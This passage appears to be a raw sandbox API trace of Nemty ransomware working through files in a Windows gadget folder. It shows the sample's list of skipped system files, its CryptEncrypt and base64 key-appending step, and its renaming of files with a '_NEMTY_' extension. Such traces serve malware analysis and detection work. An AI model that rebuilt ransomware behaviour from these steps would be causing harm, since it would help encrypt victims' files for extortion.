lpWideCharStr="system_m.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0122.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_m.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system_m.png", lpUsedDefaultChar=0x0) returned 12 [0122.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_m.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0122.132] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_m.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system_m.png", lpUsedDefaultChar=0x0) returned 12 [0122.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0122.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0122.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0122.132] Sleep (dwMilliseconds=0x5) [0122.146] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfc7392f0, dwHighDateTime=0x1d561e7)) [0122.146] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfc7392f0, dwHighDateTime=0x1d561e7)) [0122.146] GetLastError () returned 0x5 [0122.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0122.146] GetLastError () returned 0x5 [0122.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0122.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0122.146] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0122.146] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0122.146] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0122.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0122.146] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="yutsBJiAJeSgR9c8E+0udunuIrJ0Gev6K4TikXvRKeFiK3mbDdktENcZqjTo218O\r\nlcll5Ongq70bP3F2vAdCHGF1ba70j6sOXfVE8fU3RdIjP9WEwY6xOrtEQf6QmSKr\r\nj1aV4vnDbwhUbqms+jstdAO2cH01bxgYOqNTVN5EormTmnHEgeC0cEwCEDVuIbIN\r\nRYsc6TXKgCMftro8hhdq/67iCVB8B50mt25LcgpnJZXPRR4hO/mIXyXAu9d9uau1\r\n6aAI2foYPOmUJNBHFlxCHK1g0WGTZrKTCuysNyP3HxUEerJyHa6bWqQcTnbyfPLp\r\n2SVJhmZ7pmoA6D+L2mZ7pw==\r\n", pcchString=0x653e91c) returned 1 [0122.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0122.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0122.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0122.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0122.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0122.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0122.146] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_m.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.147] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0122.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0122.147] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.147] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.157] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.157] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.157] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.157] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.167] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.167] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.167] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.176] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.176] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.176] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.176] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.186] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.186] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.198] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.198] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.207] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.207] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.217] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.217] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.226] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.227] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.236] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.236] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.245] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.245] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.245] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.246] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.251] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.252] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.258] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.258] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0122.258] CloseHandle (hObject=0xffffffff) returned 0 [0122.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0122.258] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0122.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0122.258] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0122.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0122.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0122.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0122.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0122.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0122.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0122.258] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_m.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_m.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_m.png._nemty_kgobjgd_")) returned 0 [0122.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0122.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0122.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0122.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0122.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0122.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0122.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0122.259] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82bf49f9, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82bf49f9, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28c83f4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbbb, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="system_s.png", cAlternateFileName="")) returned 1 [0122.259] lstrcmpiW (lpString1="system_s.png", lpString2=".") returned 1 [0122.259] lstrcmpiW (lpString1="system_s.png", lpString2="..") returned 1 [0122.259] lstrcmpiW (lpString1="system_s.png", lpString2="...") returned 1 [0122.259] lstrcmpiW (lpString1="system_s.png", lpString2="windows") returned -1 [0122.259] lstrcmpiW (lpString1="system_s.png", lpString2="$RECYCLE.BIN") returned 1 [0122.259] lstrcmpiW (lpString1="system_s.png", lpString2="rsa") returned 1 [0122.259] lstrcmpiW (lpString1="system_s.png", lpString2="NTDETECT.COM") returned 1 [0122.259] lstrcmpiW (lpString1="system_s.png", lpString2="ntldr") returned 1 [0122.259] lstrcmpiW (lpString1="system_s.png", lpString2="MSDOS.SYS") returned 1 [0122.259] lstrcmpiW (lpString1="system_s.png", lpString2="IO.SYS") returned 1 [0122.259] lstrcmpiW (lpString1="system_s.png", lpString2="boot.ini") returned 1 [0122.259] lstrcmpiW (lpString1="system_s.png", lpString2="boot.ini") returned 1 [0122.259] lstrcmpiW (lpString1="system_s.png", lpString2="AUTOEXEC.BAT") returned 1 [0122.259] lstrcmpiW (lpString1="system_s.png", lpString2="ntuser.dat") returned 1 [0122.259] lstrcmpiW (lpString1="system_s.png", lpString2="desktop.ini") returned 1 [0122.259] lstrcmpiW (lpString1="system_s.png", lpString2="CONFIG.SYS") returned 1 [0122.259] lstrcmpiW (lpString1="system_s.png", lpString2="RECYCLER") returned 1 [0122.259] lstrcmpiW (lpString1="system_s.png", lpString2="BOOTSECT.BAK") returned 1 [0122.259] lstrcmpiW (lpString1="system_s.png", lpString2="bootmgr") returned 1 [0122.259] lstrcmpiW (lpString1="system_s.png", lpString2="programdata") returned 1 [0122.259] lstrcmpiW (lpString1="system_s.png", lpString2="appdata") returned 1 [0122.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_s.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0122.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_s.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system_s.png", lpUsedDefaultChar=0x0) returned 12 [0122.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0122.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_s.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0122.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_s.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system_s.png", lpUsedDefaultChar=0x0) returned 12 [0122.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0122.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_s.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0122.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_s.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system_s.png", lpUsedDefaultChar=0x0) returned 12 [0122.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_s.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0122.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_s.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system_s.png", lpUsedDefaultChar=0x0) returned 12 [0122.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0122.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0122.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0122.260] Sleep (dwMilliseconds=0x5) [0122.271] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfc869df0, dwHighDateTime=0x1d561e7)) [0122.271] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfc869df0, dwHighDateTime=0x1d561e7)) [0122.271] GetLastError () returned 0x5 [0122.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0122.271] GetLastError () returned 0x5 [0122.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0122.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0122.271] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0122.271] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0122.271] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0122.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0122.271] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: 